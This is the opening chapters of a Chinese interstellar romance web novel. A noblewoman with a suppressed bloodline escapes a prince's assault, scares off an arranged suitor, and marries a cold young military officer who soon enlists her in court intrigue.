《丈夫先婚后爱我却只想谋杀》
1. 皇室指婚
几簇晶灯悬挂在穹顶,梦幻华美,与古神壁画交相辉映。
奥黛丽??安秀穿过层层彩纱,走进房间,馥郁的香气萦绕鼻尖。
她在侍女的帮助下卸下首饰,昂贵珠宝的碰撞声,如同人鱼的泪珠落在贝壳。
她欣赏着镜中的自己,二皇子曾称赞这双红瞳像灵动的血珠:“我还是头一次见你这么慌张。到底发生什么事了,索菲娜?”
侍女一路听从她的命令,没有在路上说,免得人多耳杂。
“二皇子和洛特将军的长女见面了。”
安秀的动作停下了,语气骤然冷淡:“你再说一遍。”
“她们见面了,就在刚才的宴会,在皇室的中央花园。”
她倒吸一口气,抚上自己的胸膛。
该死的。
帝国和共和国的星际战争已经持续数年,洛特将军晓勇,竟把女儿送进了皇室。
明明二皇子是她的猎物,可如今她们成双入对地出现在中央花园,自己必然是没机会了。
她很快恢复了平日的温婉镇定:“你先出去吧,索菲娜,今天的宴会一定累着你了。”
侍女安静退下,留她一人坐在空旷华丽的寝室。
镜中人的气质高雅柔和,并不是帝国流行的小巧玲珑的长相,但久久看去,有种令人舒缓、信服的魔力。
最有特点的莫过于被丝绸般的黑发映衬的红瞳,是某个古老血脉的象征。
按理来说,这种来自千年前觉醒的古老异能血脉应该更受欢迎,可是她的祖先得罪了皇室。
家族皈依皇室后,标志性的红瞳不仅没成骄傲,反倒成了歧视的根源。
皇室竭力打压她们,甚至把她们的男子送上异兽角斗场取乐,至于女子......
由于只有女性才能继承这种强大血脉,她们大多嫁入皇室成了妃子。
剩下没有嫁入皇室的,则会被皇室当赏赐送给臣子。
她们就像飘无定所的船,从未有一刻掌握过自己的命运。
原本,她有机会和二皇子结婚。她不在乎他的外表、灵魂,甚至不在乎他喜欢谁,她只想要那个地位。
妃子——尤其是继承了她这种血脉的妃子永无实权,但能保一世荣华富贵,立于亿万人之上,是能争取到的最好的结局。
可是她没机会了。
剩下的皇子要么已有家室,要么年龄不匹配,她的命运只能是下嫁臣子,听天由命!
想到这里,她温和的表情裂了一道缝,捏着晶杯的手越来越用力,小臂开始蔓延金色符文。
“咔!”杯子碎了,颈环收缩,金色符文瞬间被抹去,她的面色惨白,痛苦地抓挠脖颈。
这是用皇室血脉研制的抑制环,专门用于控制异能者。
颈间的这个从出生起就戴着,是加强版,会把痛觉放大数倍。久而久之,她再也不敢使用异能。
悠扬的铃声响起,侍女索菲娜来找她了。
她整理了一下仪容,准许她进来。
“小姐,二皇子要来找你了。”
“什么?”安秀瞪大了眼睛,手背挡住因惊讶而微张的嘴,“他不是刚刚才和洛特见过面吗?”
按规矩来说,未婚的异性不得私下见面,她和兰斯??霍亨索门也不过是在社交场合交谈过几次,连中央花园都没去过。
“二皇子为您定制了一套虚拟身份,他会在约定好的地点等您。”
还没等安秀接话,一封书信样式的精巧的邀请函凭空出现,帝国军方的标识镌刻在角落。
上面写了见面的时间和地点,轻柔地飘落在她的掌心,她如获至宝,逐字阅读。
十秒后,它像雾一样神奇地消失了,一个芯片一样的东西出现了。
“喔!索菲娜,你看见了吗?”她激动得几乎说不出话,“多么神奇的邀请函,多么用心呀!
“我还有机会,索菲娜,他心里一定有我,我想跟他在一起……”
她的心脏咚咚直跳,想着王妃的皇冠,面颊浮现红晕。
“恭喜您,小姐。”索菲娜也真心为她高兴,“我立马为您梳妆。”
“我要穿上最华丽的那套——哦不,那样太引人注目了——或许这套呢?”
这是一件蓝白渐变的轻盈的纱织礼裙,半透明的荷叶边设计轻盈得像水母,刚好能露出她修长的脖颈。
“这套刚好衬您纯洁优雅的气质。可以搭配天然珍珠或凯离特星的水钻。”
“两个我都要。”
她们叽叽喳喳地打扮完毕,索菲娜夸她像皇家湖畔的天鹅,她咯咯直笑。
两人悄悄走出去,外头的星空如银河倾泻而下,与这颗星球相邻的灵木星占据了天空的三分之一。
“我只能送您到这了,小姐。”索菲娜和她走了一段距离后停下。
此时的安秀已经用上虚拟身份,贴身侍女容易让人起疑心。
“等我好消息。”她快步走进了隐秘于夜色的悬浮艇。
不出片刻,她便出现在富丽堂皇的侧宫殿,以某个名不见经传的家族小姐的身份赴皇子召见。
这里还像白天一样亮敞,穿梭的侍从和奢华的装潢闪花了她的眼。
侧宫殿尚且如此,皇子们居住的正宫殿该有多气派?
安秀来到约定的地点,门前有两名侍卫守候。
她不着痕迹地理了理裙子,端庄地仰起头道:“我来见殿下。”
侍卫微笑:“殿下已等候多时。”
厚重的门打开了,房间不过分奢华,却有着绝对的尊贵与气势,直到那人的身影出现,一切变得黯淡无光。
“殿下。”她矜持地行礼,心脏狂跳。
“快起来,奥黛丽。”
兰斯走上前,低下高贵的头颅,温柔地将她扶起。
让无数帝国女人尖叫的俊逸微笑映入眼帘,然而象征皇室血脉的银发和紫瞳令人心生敬畏,她只对视了一秒,便慌忙垂下眼眸。
兰斯不知什么时候拉开了距离,他的温度依然残留在肩膀。
“殿下,”安秀这才反应过来自己失礼了,“请问您找我来有什么事?”
“不必拘谨,我的小血珠。”兰斯示意她坐下,“只是想跟你像朋友一样聊聊天。”
她浅笑着说:“这是我的荣幸,殿下。”
这是深渊之神赐予她的机会,她必须抓住。
“你应该知道我跟洛特见了一面。”
“我听说了,殿下,在今天宴会的时候。”
“不错。那个时候,你正像一只快乐的蓝丝鸟一样翩翩起舞。”
蓝丝鸟是用于关系亲近的人之间的浪漫意象,这般暧昧的比喻让她心中悸动。
“您就别取笑我了,殿下。”
“你总是这么温柔,奥黛丽。”兰斯轻叹,“可是,父皇给我安排的婚配对象却完全相反。”
“您是指洛特小姐吗?”
“是的。不得不说,我不太满意。”他优雅地撇眉,“父
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皇根本不在乎我的想法,我只想要个温婉顺从的女人成为我的王妃。”
安秀沉默片刻,并未鲁莽地戳破他的话外音:“或许你们只是不太了解对方,洛特小姐的学识与身世与您相配。”
“噢,亲爱的奥黛丽,我今晚把你邀请到这来,你难道还不明白吗?”
“我不明白,殿下。”
兰斯·霍亨索门起身,她也紧跟着起身。
他缓缓上前,高大的身影几乎将她覆盖,独属于他的淡雅清香灌入鼻腔。
不过短短数分钟,殿下便第二次这么近距离跟她接触,来自帝国金字塔顶端的气息令她浑身僵直。
“你的声音就像云间白鲸的歌声一样婉转。”兰斯抚摸她的发丝,然后到脸颊。
“你是我见过的最温婉的女人,又这么冰雪聪明。如果我一定要做选择,深渊之神必然指引我到这只白鲸所在的云间。”
“您要违抗陛下的旨意吗?”她半阖着眼,感受着兰斯的手指在唇畔摩挲,一阵轻痒。
“奥黛丽,我喜欢的是你这样的女人。”
他喜欢的是我这样的女人,而非我。
但安秀不在乎,抬眸问道:“您要我成为王妃吗?”
兰斯因她如此直白的询问一怔,随即轻笑:“原来你还是个心急的小白鲸。”
“殿下,”她斟酌了一下,“我是在为殿下的名声考虑。如果您的清誉受损,我会心碎的。”
兰斯端详她片刻,移开目光,转身走向房间中央,打了个响指。
两杯清冽的果酒通过粒子管道传送过来,他拿起一杯啜饮,然后道:“不用怀疑我的真心,奥黛丽,我没有一刻不在想着你。你的发丝,你的眼眸……”
“那您打算付出什么行动呢,殿下?”
“当然是用心地爱你,奥黛丽,以一个高贵的皇子的身份。我和洛特就要成婚了,可我爱的是你。如果你足够爱我,我保证你会成我的王妃,以后的记载也只会有你的名字。”
她听完这番话,冷汗从脊背冒上来,如坠冰窟。
兰斯要她当地下情人,以为给出一些无谓的承诺就可以让她死心塌地!
“殿下,恐怕我只能拒绝您的好意。”
“为什么?”
“为您的名声着想。”她咬牙解释,暗自攥紧了拳头。不知为什么,她很想给这张俊逸的脸来上一拳。
兰斯眉毛一挑,愠怒道:“别以为我不知道你在想什么,你不过是不满我没给你地位,和外面那些女人一样势利!”
“殿下,没有保障的感情是没有结果的。”
一阵窒息的沉默。
“你没有我想的那么温柔纯真。”
“我可以是,殿下。”她从干燥的喉咙挤出这几个字,“可这不代表我愿意当一个没有自尊心的玩物。
“我也有灵魂,殿下,我们不是您想象出来的存在……”
“就是这样,奥黛丽,我就喜欢你这样。”兰斯握住她的手放在胸前,“这就是你的灵魂,像只张牙舞爪的小猫。”
他低下头想亲吻她,她用力推开,厌恶的表情伤害了他的自尊心。
他不可置信地怒声道:“你居然敢拒绝我的吻?你知道这么做的下场吗?!”
“大概是无法成为尊贵的王妃吧!”
兰斯冷笑一声:“比这严重得多!皇室已经在商量你的指婚,如果你不跟我在一起,我保证你的下场会很惨。外面可有不少男人对你虎视眈眈呢。”
2. 费尽心机
“我不明白您的意思。”安秀的声音有些颤抖。
“字面意思。有不少人在等着你被指婚给他们,毕竟你有所谓的血脉,哦,还跟皇室有那么点关系。想象一下,只需我在会议上的一句话,就可以让你嫁给风烛残年的老将或者有特殊癖好的权贵,你会喜欢哪个呢?”
心里有什么东西彻底断了,难言的恐惧与愤怒像岩浆一样灼烧着她的胃。
兰斯见她这副倔强的样子,声音又柔和了起来:“瞧瞧我的小血珠,都在发抖了,我只是开个玩笑。只要我们安全度过今晚,就不会发生那样的事。”
他的脸越来越近,温热的鼻息喷在她的锁骨,手即将环上她的腰。
“嘭!”她毫无征兆地一拳打在兰斯的腹部,又趁他吃痛时摔碎了空果酒杯,清脆的响声在房间响起。
兰斯这才反应过来她做了什么,表情瞬间变得阴狠起来,与刚才温和的他判若两人。
“你竟敢对皇子动手,就不怕我告诉父皇吗?!”
兰斯抓住她的右手手腕,力气大得仿佛要捏碎她的骨头。
她闷哼一声,又在混乱中抓起酒杯碎片划破了他的手。
兰斯低头看了看手上的鲜血,眼睛漫起红血丝。
“啪!”
她的脸火辣辣地痛,耳边嗡嗡响,甚至有几秒听不到声音。
“你们这群红眼睛的贱种,果然改不了卑劣的本性!你就是头怪物,安秀,你们都是下贱的怪物!”
他发疯般拧起她的领子,利牙划破她的锁骨。
她尖叫着挣扎,立即掐住他的脖子,手臂又漫起金色纹路。
兰斯被掐得喘不过气:“放开我,侍卫,侍……卫!”
她强忍心脏的剧痛,丝毫不放手,疼痛产生的生理性眼泪模糊了她的双眼。
兰斯见过很多绝望的人,但从未有一个像她这么绝望,他第一次打心底里感受到恐惧。
“你不敢告诉父皇的,兰斯·霍亨索门,因为你是个懦夫,不敢让他们知道你的丑闻。如果你阻拦我,在深渊之神的见证下,我发誓会不惜一切代价毁了你!”
她的眼瞳彻底变成血红色,背后隐隐产生一团黑雾,那是一个难以用人类语言形容的庞大怪物。
“是怪物又如何!你已经夺走了一切!我没有什么可失去的了!”身后的怪物和她一起怒吼。
兰斯嘶吼着推开她,跌跌撞撞跑到房间角落:“疯子,你个疯子,我早晚要杀了你……”
她停止使用异能,无力地瘫倒在地上,领口和脖颈全是血污,被侍从拖了出去。
......
狼狈不堪的她回到了住处,索菲娜看到后,差点晕过去。
“天啊!小姐......”
“我要洗澡。”安秀没有告诉她具体发生了什么,只是嘱咐她不要多言。
索菲娜含泪答应了,帮她剥下衣服时手都在抖。
洗完澡后,她看见了那件最喜欢的蓝白渐变的礼裙,它已经脏污不堪,不能再使用了。
原本她想在二十岁生日那天穿的,她会像任何一个刚满二十岁的女孩那样快乐。
不知道为什么,她的眼泪突然止不住地流,可她想不明白为什么哭。
或许是因为从未得到过的妃位,或许是因为兰斯的羞辱,又或许只是因为永远失去了这件漂亮的裙子。
-
没过多久,安秀就收到了皇室指婚的通知。
对象,是一个将近六十岁、整天花天酒地的老男人。
她平躺在柔软的床铺上,把精致华美的通知扔到一边,沉沉地叹了口气。
这并不意外。二皇子兰斯那晚像疯了一样砸东西、骂她诅咒她,不在会上作梗是不可能的。
无论用什么手段,她都绝不会嫁给有老人味的家伙。
双方正式见面的前几天很平静,平静到前来打探的皇室眼线多次无功而返,皇室以为她接受了这样的结局。
直到——
那个男人连滚带爬地来到尊贵无上的陛下面前,请求皇室收回成命。
他颤抖着肥厚的双唇说:“陛下,我还有孩子,我、我还有很多情人等着养,我还想多活几年......”
他腰间有着奇异花纹的挂件上赫然是蛇鸟合体的形状,一个帝国流行的宗教的标志。
“无论什么代价都可以,让我摆脱那个女人,我害怕、我害怕......”
......
安秀若无其事地擦了擦匕首上的血,细长的刀身镌刻蛇纹,顺着把手直到刀尖。
“小姐,你不过是吓吓他,他就不敢跟你结婚了。”索菲娜面带笑意地揉捏安秀的肩膀。
这是安秀第一次主动、有谋划地对人下手。
她还原了那天晚上的黑雾怪兽,利用了这个男人因作恶多端而信教的恐惧心虚,威胁他退婚并不告诉任何人这么做的缘由。
那个男人吓尿了。看来做这种事没她想的那么难。
“不出意外的话,我的丈夫会是凌宸。”
刚成年的凌家长子凌宸,学生时代就与职帝国军备统筹部签约,其中将生父在不久前牺牲,他成了凌家唯一的话事人。
凌宸在军备统筹部的位置还没坐稳,家里就出事了,刚好是压力最大的时候。
安秀正是看准了这一点,主动向皇室申请了这桩婚事。
忙得焦头烂额的凌家无暇回应,而皇室巴不得赶紧把她这个烫手山芋扔出去,一拍即合。
果不其然,皇室的通知立马下发到她手上,没有上一次那么华美,一看就是系统默认外观。
-
“小姐,婚礼就要开始了。”
过了几天,索菲娜看着在镜前发呆的她,欲言又止。
“有什么话直说就好。”
“凌宸他……还没回来,据说在工作。”
婚礼当天,她的丈夫缺席了。
安秀毫不意外,转身走向试衣间:“换件方便一点的衣服吧,这件太重了。”
婚礼还没开始,她法律意义上的伴侣就开始排斥她了。不过,她费尽心思嫁入凌家,也不是来风花雪月的。
帝国的婚服还是遵循古地球传统,以洁白的婚纱为主。婚纱卸下后,在地面层层叠叠地铺展开来,像一大团沉冗的云朵,褶间的珠宝轻微发出磕碰声。
据说在光年外的共和国,女士的婚服简洁又好看,她很向往。
当她穿着刚好到脚踝的白色雕花裙出现在婚礼现场时,到场的宾客面露惊讶之色,又出于礼貌收回了目光。
司仪在台上主持婚礼:“现在请新娘按下这颗光球。”
他转过身,有些不好意思地笑道:“夫人,凌少爷不在,只能您一个人按了。”
她按下光球,光球膨胀成无害的金色粒子,洒在每一个人的身上,星星点点。
台下鼓掌,仪式结束,简直像一场幼稚的过家家。
络绎不绝的宾客走上前,一旁的司仪挡到她面前,微笑道:“夫人,我来处理吧。”
整场婚礼由凌宸布置,司仪和宾客也是他请的,她知道自己不便跟宾客交谈。
“好的。”
这里也没她什么事了,她想回去休息。
“奥黛丽·安秀。”
她刚要走,一个女人叫住了她。
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司仪看了这个女人一眼,低声解释:“这位是凌少爷的好友,赫本??森小姐。”
“你好,赫本小姐,请问有什么事吗?”
她命令司仪接待别的宾客,司仪有些犹豫:“小姐,这……”
“我是他唯一的妻子,”她温和又坚定地说,“跟他的朋友聊两句,应该没关系吧。”
赫本有一头褐色卷发,身穿裁剪利落的棕色大衣,看上去颇有智慧,从周身干净的气质来看,应该还在读书。
赫本也在打量她,片刻后说:“我只是想看看凌宸的新娘长什么样。”
“如你所见,我就长这样。”她友好地笑了笑。
“我正在帝国罗藤学校就读,主修社会心理学,你呢?”
“我没去过学校,一般是皇室专门聘请的教师教我。”
“我知道了,那你们一定没学过深渊粒子传导模式对人类心理群体划分的影响。”
“你是说,天生吸收粒子的异能者、后天使用粒子工具造成身体组织多维度异变的异能者,以及抑制异能又打破抑制的异能者,基于生理差异形成的多种心理群体吗?”
安秀来了兴趣,她一向喜欢研究社会学问题,皇宫里没人跟她讨论这些。
赫本一愣,嘴角也浮现笑意,说:“没想到你还懂这个。没错,目前深渊学把异能者分为上述三类,而最后一种异能者是否能归为人类尚且存疑,最大的样本是红……”
她顿了顿。
安秀接了话:“红眼睛的人,也就是我这种人。”
“真是抱歉,我不是故意找你说这个的。”
“你有什么事?”
“我……”赫本深吸一口气,“我就直说了,我喜欢凌宸,我想追求他。”
这下轮到安秀惊讶了,相比于说话弯弯绕绕的皇宫,这个女孩也太直白了,很是新鲜。
不过新鲜归新鲜,她沉吟了片刻,还是说:“不行。”
赫本给了她一个不解的眼神:“为什么?你们不是没有感情的联姻吗?”
“我们的婚姻是皇室钦定,无论如何,凌宸是我的。而且我们以后会经常一起行动,你能忍受另一个人天天在你男朋友身边吗?”
其实她没把话说完。
她好不容易把凌宸搞到手,感情是可以培养的,这么好的资源怎么能拱手让人?
更何况她只有这一个选择,而赫本这种爽朗的人根本不缺追求者。
“抱歉,我来晚了。”
这时,一名身穿黑色军装、气质非凡的人打断了她们的对话。
他的面部轮廓分明、鼻梁挺直,明明是很英气的长相,却因那双有着纤长睫毛的蓝眼睛添上几分美感。
这句话是对安秀说的,她配合着说了句场面话:“没事,工作重要,注意身体。”
然而,这位英俊少爷的神色堪称冷漠,显然没把她的关心放在心上。
如此重要的人生大事,甚至不在他日程表前五位。
皇室在他事务繁忙的时候塞给他一个妻子,莫名其妙。
他非常讨厌别人的强迫,尤其是知道安秀用了某些手段才嫁入凌家后,更对她没好感了。
军部已经遍地都是抱有各种目的的人,连他的生活都要有这么一个有心机有目的的人吗?
他看向赫本,态度一百八十度转变,语气变得分外温和。
“你最近还好吗?”
“我还好,谢谢。你听到我们的对话了吗?真是让人不好意思。”
赫本有些期待地看向他。
凌宸维持有风度的微笑:“听到了。”
被晾在一旁,还穿着婚纱的安秀满头黑线。
3. 冷漠丈夫
安秀的内心天雷滚滚。如果赫本真的表白成功了,那以后的资产分配、家族事物的权限怎么办?
还有,万一不幸中的大不幸——有了孩子,那财产该怎么细分?她绝不容许别人夺走属于她的利益。
之所以不顾一切地要嫁进来,也是因为凌宸年纪小、关系干净,如果有人插足,努力岂不是全白费了?
嗯,那个老男人的泪也白流了。
她正想说些什么,被凌宸抢先一步。
“抱歉,我们只是单纯的朋友关系,不知道你对我有这样的感情。我不喜欢你,我们以后还是避免私联吧。”
凌宸虽然微笑,但眼睛里毫无笑意,一股高级军官的摄人气势。
毫不拖泥带水地结束这段感情后,他连笑都懒得笑了,转头示意安秀:“你,跟我过来。”
安秀收起内心的惊讶,与赫本道别后跟上,想起从刚才到现在,凌宸都没正眼看她一眼。
来到凌宸的书房,他解开外套扣子,她想上去帮忙,但是被婉拒了。
他把脱下的外套挂在衣架上,单手卸下领带,充满力量感的肌肉线条在雪白衬衫下若隐若现。
然后,他抽出一张虚拟屏扔在桌上,说:“录入生物码。”
她看了眼内容,是一份婚前协议,确认后她们会正式成为法律意义上的伴侣。
在她阅读的间隙,凌宸不知什么时候穿上了婚服外套,上面的宝蓝碎钻像星辰一样,衬得他更加俊逸。
就连见过许多皇室优质基因的美男的安秀也不得不承认,自己选的丈夫的质量还......
还行。
凌宸定定地看了她几秒,内心如平静的大海掀起一点风浪。
他从小在军校训练,加上不与那些纨绔子弟同流合污,没怎么接触过异性,但这不代表他没有对美的直觉。
真正看到安秀时,才发现她的气质有种奇怪的吸引力,连他心中的那股厌恶都减少了一点点。
往严肃了想,这极有可能是她为了获取信任的手段。
凌宸见她还在发呆,语气更冷了,催促道:“走个过场录入就行了,婚礼还没结束。”
安秀温和地笑了笑,将虚拟屏轻轻放在桌面:“有一个地方不太合适。”
“你的生活费属于你的个人财产。”
“不是这个。我看37条写了结约方不得干涉内部事务,这是……”
“内部事务,指的是一切跟我个人事业和生活相关的东西,还有一切跟凌家相关的决策,有问题吗?”
“我是你的妻子。”
“只是名义上是。”他想到今天是新婚第一天,不适合说这么直接,改口道,“我会全权包揽一切事物,不要给我惹麻烦就好。”
“如果可以,我更想跟你合作,而不是当个背景板。”
大概是从小被圈养在皇室的原因,她深知唯一能依靠的只有自己。更何况她的野心不止当一个军官夫人。
凌宸沉默了,眼神冷峻无比,像审视敌人一样审视她。
直到当她觉得一切都要被他看透的时候,他发出一声冷笑:“以为我不知道你的目的吗?你只是想监视我,从皇室那获得好处。”
“才没有这样的事。”
“那你告诉我,”凌宸大步向前,用力抹开她锁骨上的临时药剂,愠怒道:“这个印子又是怎么回事?!”
凌宸不在乎妻子是不是处子,但这不意味着他能接受别人的挑衅。
他的观察力远超常人,任何一点痕迹都瞒不过他的眼睛。看到安秀的第一眼,他就注意到了这块几乎隐形的痕迹。
心中一直抑制着怒火。
在他看来,证据确凿,这个女人早已和某个皇室男人勾结,妄图影响他在军部的发展,甚至操控凌家!
还为了降低他的警惕,用特殊的手段蛊惑他。
而他不知道的是,在揭开这道伤疤的同时,安秀陷入了不久前与二皇子那场冲突的痛苦回忆中。
她感到一阵无措、委屈与恶寒,但又不愿将如此痛苦的经历袒露给一个刚认识的人。
他不会相信的。
她握紧了手,强忍泪意:“以深渊之神的名义发誓,我跟皇室才不是这种关系!”
身穿婚纱的妻子泪光闪烁,不像在说假话。
哪怕是被冤枉的,这个反应也比凌宸想象的大的多,他下意识想安慰她。
但多年培养的自制力,让他把这股冲动压下去了,转而思考这么做的可行性。
婚礼还未结束,如果让别人看到她们不合,对凌家的名声不好,所以现在他要安抚妻子的情绪。
所以,接下来的安慰是理智且正确的选择,而不是情感上的一时冲动。
“抱歉,对你太粗暴了。”他想上前伸出手拍抚她的后背,被她“啪”一下拍开。
凌宸并没有坚持,而是转身离开了书房,留她一个人冷静。
本以为他不会再回来,没想到过了一会,他又出现在门口。
他手上拿着一盒药剂,她本想接过去,他拦住她的动作并歉意地笑了笑:“好点了吗?我来吧。”
凌宸打开药剂匀在手上,用指尖小心翼翼地涂在她的锁骨,药剂很快跟皮肤融为一体,看不出半点印子。
他能闻到安秀身上的气味,不是香水的味道——或许就是香水,不然不会这么香。
“这是军部新研发的药剂,你很快就能好。”
这个角度,安秀刚好可以看见他低下去的脸和纤长的睫毛。他的神情并不谄媚,认真得像对待某个精密的军用仪器。
简直是莫名其妙的,她的情绪平复了大半。
她说了一句谢谢,凌宸很快直起身子,拉开距离。
“一会要同框,不要让那些媒体看到我们不合。”
他的语气又恢复了一开始的冷硬,仿佛刚刚上药时的温柔是她的幻觉。
但这不出她所料。
如果像凌宸这样刚成年就步入帝国军方上层的狠角色会那么容易真心流露,她也没必要跟他合作了。
“好。”
她亲昵地挽上凌宸的手臂,跟他走出大门。
视野渐渐开阔明亮,礼乐声此起彼伏,宾客们的祝福声萦绕耳边,仿佛刚刚在书房发生的一切都是梦。
不,说起梦,这场婚礼更像梦。
宾客的座椅错落有致,与这颗星球特有的树木飘落的粉蓝色花瓣呼应。
绿色的湖面被风揉皱,褶皱间镶嵌着一条笔直耀眼的金线,那是夕阳的落歌。
更远处连绵的青山留下一条温柔起伏的脊线,托住了欲坠的落日,金红的釉蜿蜒而下,流入湖泊。
如果这一切不是逢场作戏,她大概会非常、非常心动吧。
她偷偷看了一眼被她挽着的凌宸。
能在这么短的时间内抽时间亲自跟进婚礼,还做得那么完美,就连眼光挑剔的她也不得不承认,凌宸的能力不容小觑。
有一个星域媒体上前采访她们:“新婚快乐。请问夫妻二人为何还没有签署婚前协议,是因为存在意
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见不合吗?”
这是一个绵里藏针的问题,她们交换了一个眼色。
凌宸微笑道:“协议沟通得很顺利。只是她刚刚突然不舒服,我扶她休息了一会。”
闻言,她轻靠在凌宸的肩上,温柔地笑着说:“是的,刚刚突然有点咳嗽,我都说了没事了,他一定要我多休息会。”
记者们纷纷记录这一幕,在场的宾客对她表达关心。
她随凌宸问候宾客们,其中有不少上了年纪的看上去饱经风霜的军人,都是曾经追随凌宸生父的将领。
她们在年轻的时候历经过前线的洗礼,眼神锐利却不失大地般的宽阔,可从中窥见一丝生父的形象。
婚礼本就接近尾声,在一番寒暄后人群渐渐散去,她松开了凌宸的手,两人像变脸一样不复刚才笑意。
“要跟我见下父亲吗?”
她想说不要,她很累,可是想起她们的关系,还有日后掌握权力的目标,她同意了。
于是两人走到一片绿意盎然的森林,来到一处布满白色小花和绿色藤蔓的墓碑前。
帝国的大众流行宇宙葬,但偶尔也有人选择土葬,回归本真。
凌宸走上前,打理那些藤蔓:“你一定在想,我为什么要带你来。”
她没有回答,有些问题的存在就是为了给出答案。
“你来得很突然,但我是个很注重规则的人,既然是明媒正娶,就要把程序走完整。”
一丝不苟、仿佛对待一场军事实验的态度,让安秀不禁想到同样严谨的婚礼。
除了他缺席了大半场之外,一切都很完美。
“父亲,这是我的妻子,我把她带来了。”
她走上前问好,看着低声诉说着亲情的凌宸的背影,突然很不是滋味。
他带着他的妻子来到父亲的墓前,可是她呢?
她自己呢?
她的母亲、父亲在哪?自从她记事起就一直被圈养在皇室,连自己的姐妹都没怎么见过。
她什么时候也能带着自己的爱人来到母亲面前呢?
安秀说不上来这种滋味,她对亲情一向淡薄,所以应该不是因为想妈妈才突然这么感慨。
有另一种朦胧的情感在敲击她的心灵。
凌宸转过身时,看到的就是神情忧伤的她。
他还以为安秀在为他伤心,态度柔和了不少:“我们走吧。”
他绅士地牵起她的手,和她走出这片绿色森林。
-
刚结束一场军事会议的凌宸回到家时已经很晚了,这颗星球的人造光早已熄灭。
但由于他是大宅的主人,智能体系统识别后,原本黑暗的大宅像白天一样亮了起来。
智能体系统安静地全方位运作,不出几秒,桌上便放上了一壶助眠的鲜烹花茶。
“唔。”安秀从沙发上起来,揉了揉眼睛,肩颈的酸痛让一向在皇宫养尊处优的她皱了皱眉。
要是索菲娜也跟过来就好了,可惜凌宸不喜欢侍从在大宅走来走去。
她和正在放假的赫本聊了一个上午的社会心理学,旁边还放着她从大学图书馆带来的一本书。
不知不觉就看睡着了。
她半阖着眼醒神,被一团阴影笼罩,一抬头,凌宸走到了面前。
“你睡在这里做什么。”
“啊,我在等你。”她依稀记得有什么事要跟他说。
凌宸转身就走。
“等等!”
安秀惊醒了,抓住他的衣袖说:“别走。”
4. 协议婚姻
凌宸抽出手,眉毛一拧,周身的气压骤然变低,就算是历练过的军人也会不由得绷紧脊背。
“谁让你等我了,注意分寸。”
他不喜欢没有边界感的行为,本以为安秀多少会守点本分,现在这样又是怎么回事?
可是安秀一点也不害怕,当凌宸转头用眼神警告时,看到的正是这样一双毫无睡意的明亮眼眸。
“谁没事会等你。关于婚前协议,我今天想了一个解决方案,没问题的话就签吧,免得人说闲话。”
凌宸定定地看了她几秒,然后说:“我看看。”
他不讨厌积极解决问题的人,本来今天想处理这件事的,结果会议推迟了。
安秀从数据库中拖出协议,改动前和改动后的版本一一对应,凌宸很快就看完了。
“我和皇室的男人没关系,那个牙印......”
“我不感兴趣。”
无论她在撒谎,还是如猜测那般被皇室的男人强迫了,都不是值得他关心的事。
他不在乎。
表面光鲜亮丽的皇室背后有许多不堪入目的秘密,从小在服务皇权的世家长大的他再清楚不过。
皇室指定的婚姻不可解除,安秀带着目的嫁给他的事实无法改变,与其一味纠结过去,不如最大限度利用她。
“好吧,只是想强调一下我并不是皇室的间谍。关于以后一起做的事,我想参与决策。”
“你任何可能影响凌家的行动必须由我把关,最终决策权在我。”
凌宸强硬地结束谈判,手指在协议上划了几下,协议生效。
“现在,去睡觉。”他扔下这句话,转身上了楼。
安秀也上了楼,不过是三楼,而不是凌宸待的二楼。
房间里的暖灯和布局像极了她在皇宫的寝殿,一看便知道出自索菲娜之手。
她感到一阵熨帖,趴到柔软的床上。
她很幸运,没有嫁给老头或怪癖的权贵,现在这个边界感十足的冷漠弟弟在她的承受范围之内。
没错,凌宸虽然身居高位,但年龄比那些皇子还小,在她看来完全可以叫弟弟。
虽然她看不透凌宸,但一点也不怕他。
更重要的是,他答应自己可以参与决策,她的生活还有希望。
与此同时,在二楼的书房奋笔疾书,准备明天议程的凌宸打了个喷嚏。
莫名有种不好的感觉。
都这个时候了,那群老头还在看他不爽吗?
-
“我打算给你一个机会,安秀。”
一个看似平平无奇的早上,凌宸放下刀叉,优雅地擦了擦手,突然说出这句话。
这是她们第一次共进早餐,平时凌宸经常连着几天不在家,就算在家也不跟她不交流。
在媒体出现的地方,她们恩爱无比;但在别人看不到的地方,她们总是保持距离。
“什么机会?”
安秀也放下了餐具,口中还弥漫着一个名为月尘花的调料的香气,这是即将濒危的物种,只有特权阶级才能享用。
她心中愕然,凌宸居然会这么快给她“机会”,快到让她觉得莫名其妙。
按照正常流程,她难道不应该先千方百计证明自己的能力,然后让凌宸稍微信任一点,再要求他给她“机会”吗?
凌宸好像看出了她的疑问,眼神中带有一丝说不上来的玩味。
“以为我不会做背调吗?你几年前在皇宫的那些表现,我可是有所耳闻。”
安秀迟疑了几秒,才想起凌宸指的是皇宫的大小宴会、事件等。
原本以她的身份是不允许参加太大的宴会的,可是年少时期的她坐不住,非和索菲娜互换了身份偷偷去宴会大肆玩乐,被发现后禁闭了两个月。
也不知道凌宸查到了多少,有种曾经的糗事被拿出来说的尴尬感。
但在凌宸看来,这可不是“糗事”,恰恰是安秀有能力的证明。
如果把“参加不能参加的宴会”看作一个军事目标,那么她还算合格地完成了任务。
互换身份可不是说着玩的。皇宫可是戒备森严、生物信息程序最为复杂的地方,能搞定那么多关卡出现在宴会,并和宴会上的人接触,她的能力甚至超过了某些下属。
看安秀的神情,显然是不知道自己在他心里的评价这么高。
这是好事。越是不自知,越好利用。
他的提案马上要进入下一阶段,这个紧迫的任务,找不到比她更合适的人选了。
“有一个提案受到了某些人的阻拦,需要你去试探态度,这次的目标是他。”
他在空气中划了几下,虚拟屏上出现了一个男人的脸。
凌宸淡淡地看向她:“他是克诺洛斯家族的人,你认识吗?”
原来考验已经开始了。
她沉吟片刻,道:“他是不少军工企业的背后操盘手。”
她在宴会上听说过这号人,但凡混迹帝国上层的名流都知道他。
凌宸原以为她摸到边就不错了,没有想到会直接说出正确答案。
这绝不是一个整天待在皇宫无所事事的小姐能知道的东西。
他眯了眯眼,心中快速计算这么做的风险,不出一盏茶的功夫,他就做出了决定。
“没错。霍华德·克诺洛斯可能是防碍的人之一,我正在申请的提案跟深渊粒子舰有关,而他垄断了该军备的关键供应链,还迟迟不表明态度。
“不过你要接触的不是他,而是他的妻子克诺洛斯夫人,她们十分恩爱。我想让你借不久后的克诺洛斯茶会打探霍华德的态度。”
“好。”她毫不犹豫地答应了。
“我要提醒你,”凌宸的目光一闪,似笑非笑地看着她,“克诺洛斯夫人可不是什么善茬,你现在还有反悔的机会。”
